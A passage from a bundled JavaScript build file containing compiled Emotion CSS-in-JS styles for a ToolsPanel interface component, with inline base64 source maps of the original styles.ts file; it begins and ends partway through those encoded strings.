JRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy5ncmF5WyAzMDAgXSB9O1xuXHRtYXJnaW4tdG9wOiAtMXB4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG4vKipcbiAqIEl0ZW1zIGluamVjdGVkIGludG8gYSBUb29sc1BhbmVsIHZpYSBhIHZpcnR1YWwgYnViYmxpbmcgc2xvdCB3aWxsIHJlcXVpcmVcbiAqIGFuIGlubmVyIGRvbSBlbGVtZW50IHRvIGJlIGluamVjdGVkLiBUaGUgZm9sbG93aW5nIHJ1bGUgYWxsb3dzIGZvciB0aGVcbiAqIENTUyBncmlkIGRpc3BsYXkgdG8gYmUgcmUtZXN0YWJsaXNoZWQuXG4gKi9cblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxXaXRoSW5uZXJXcmFwcGVyID0gKCBjb2x1bW5zOiBudW1iZXIgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0PiBkaXY6bm90KCA6Zmlyc3Qtb2YtdHlwZSApIHtcblx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuc3BhY2luZyB9XG5cdFx0XHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxIaWRkZW5Jbm5lcldyYXBwZXIgPSBjc3NgXG5cdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxIZWFkZXIgPSBjc3NgXG5cdCR7IHRvb2xzUGFuZWxHcmlkLml0ZW0uZnVsbFdpZHRoIH1cblx0Z2FwOiAkeyBzcGFjZSggMiApIH07XG5cblx0LyoqXG5cdCAqIFRoZSB0YXJnZXRpbmcgb2YgZHJvcGRvd24gbWVudSBjb21wb25lbnQgY2xhc3NlcyBoZXJlIGlzIGEgdGVtcG9yYXJ5XG5cdCAqIG1lYXN1cmUgb25seS5cblx0ICpcblx0ICogVGhlIGZvbGxvd2luZyBzdHlsZXMgc2hvdWxkIGJlIHJlcGxhY2VkIG9uY2UgdGhlIERyb3Bkb3duTWVudSBoYXMgYmVlblxuXHQgKiByZWZhY3RvcmVkIGFuZCBjYW4gYmUgdGFyZ2V0ZWQgdmlhIGNvbXBvbmVudCBpbnRlcnBvbGF0aW9uLlxuXHQgKi9cblx0LmNvbXBvbmVudHMtZHJvcGRvd24tbWVudSB7XG5cdFx0bWFyZ2luOiAkeyBzcGFjZSggLTEgKSB9IDA7XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdH1cblx0JiYmJiAuY29tcG9uZW50cy1kcm9wZG93bi1tZW51X190b2dnbGUge1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGluZyA9IGNzc2Bcblx0Zm9udC1zaXplOiBpbmhlcml0O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHRNZWRpdW0gfTtcblx0bGluZS1oZWlnaHQ6IG5vcm1hbDtcblxuXHQvKiBSZXF1aXJlZCB0byBtZWV0IHNwZWNpZmljaXR5IHJlcXVpcmVtZW50cyB0byBlbnN1cmUgemVybyBtYXJnaW4gKi9cblx0JiYge1xuXHRcdG1hcmdpbjogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRvb2xzUGFuZWxJdGVtID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cblx0LyogQ2xlYXIgc3BhY2luZyBpbiBhbmQgYXJvdW5kIGNvbnRyb2xzIGFkZGVkIGFzIHBhbmVsIGl0ZW1zLiAqL1xuXHQvKiBSZW1vdmUgd2hlbiB0aGV5IGNhbiBiZSBhZGRyZXNzZWQgdmlhIGNvbnRleHQgc3lzdGVtLiAqL1xuXHQmID4gZGl2LFxuXHQmID4gZmllbGRzZXQge1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHR9XG5cblx0LyogUmVtb3ZlIEJhc2VDb250cm9sIGNvbXBvbmVudHMgbWFyZ2lucyBhbmQgbGVhdmUgc3BhY2luZyB0byBncmlkIGxheW91dCAqL1xuXHQmJiAkeyBCYXNlQ29udHJvbFdyYXBwZXIgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblxuXHRcdC8qKlxuXHRcdCAqIFRvIG1haW50YWluIHByb3BlciBzcGFjaW5nIHdpdGhpbiBhIGJhc2UgY29udHJvbCwgdGhlIGZpZWxkJ3MgYm90dG9tXG5cdFx0ICogbWFyZ2luIHNob3VsZCBvbmx5IGJlIHJlbW92ZWQgd2hlbiB0aGVyZSBpcyBubyBoZWxwIHRleHQgaW5jbHVkZWQgYW5kXG5cdFx0ICogaXQgaXMgdGhlcmVmb3JlIHRoZSBsYXN0LWNoaWxkLlxuXHRcdCAqL1xuXHRcdCR7IEJhc2VDb250cm9sRmllbGQgfTpsYXN0LWNoaWxkIHtcblx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0fVxuXHR9XG5cblx0JHsgQmFzZUNvbnRyb2xIZWxwIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbVBsYWNlaG9sZGVyID0gY3NzYFxuXHRkaXNwbGF5OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IERyb3Bkb3duTWVudSA9IGNzc2Bcblx0bWluLXdpZHRoOiAyMDBweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBSZXNldExhYmVsID0gc3R5bGVkLnNwYW5gXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50RGFya2VyMTAgfTtcblx0Zm9udC1zaXplOiAxMXB4O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHRNZWRpdW0gfTtcblx0bGluZS1oZWlnaHQ6IDEuNDtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IHNwYWNlKCAzICkgfSApIH1cblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEZWZhdWx0Q29udHJvbHNJdGVtID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cblx0JiZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDcwMCBdIH07XG5cdFx0b3BhY2l0eTogMTtcblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdH1cblxuXHRcdCR7IFJlc2V0TGFiZWwgfSB7XG5cdFx0XHRvcGFjaXR5OiAwLjM7XG5cdFx0fVxuXHR9XG5gO1xuIl19 */"),
48729 item: {
48730 fullWidth: false ? {
48731 name: "18iuzk9",
48732 styles: "grid-column:1/-1"
48733 } : {
48734 name: "1nz7xr6-fullWidth",
48735 styles: "grid-column:1/-1;label:fullWidth;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwQmdCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */",
48736 toString: _EMOTION_STRINGIFIED_CSS_ERROR__39
48737 }
48738 }
48739 };
48740 var ToolsPanel = (columns) => /* @__PURE__ */ css(toolsPanelGrid.columns(columns), " ", toolsPanelGrid.spacing, " border-top:", config_values_default.borderWidth, " solid ", COLORS.gray[300], ";margin-top:-1px;padding:", space(4), ";" + (false ? "" : ";label:ToolsPanel;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQ29EIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */");
48741 var ToolsPanelWithInnerWrapper = (columns) => {
48742 return /* @__PURE__ */ css(">div:not( :first-of-type ){display:grid;", toolsPanelGrid.columns(columns), " ", toolsPanelGrid.spacing, " ", toolsPanelGrid.item.fullWidth, ";}" + (false ? "" : ";label:ToolsPanelWithInnerWrapper;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnRFciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQge1xuXHRTdHlsZWRGaWVsZCBhcyBCYXNlQ29udHJvbEZpZWxkLFxuXHRTdHlsZWRIZWxwIGFzIEJhc2VDb250cm9sSGVscCxcblx0V3JhcHBlciBhcyBCYXNlQ29udHJvbFdyYXBwZXIsXG59IGZyb20gJy4uL2Jhc